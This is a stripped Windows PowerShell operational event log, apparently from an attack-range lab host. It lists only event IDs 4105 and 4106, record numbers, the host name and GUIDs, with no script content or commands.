410515102150x0668689Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668688Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668687Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668686Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668685Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668684Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668683Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668682Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668681Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668680Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668679Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668678Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668677Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668676Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668675Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668674Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668673Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668672Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 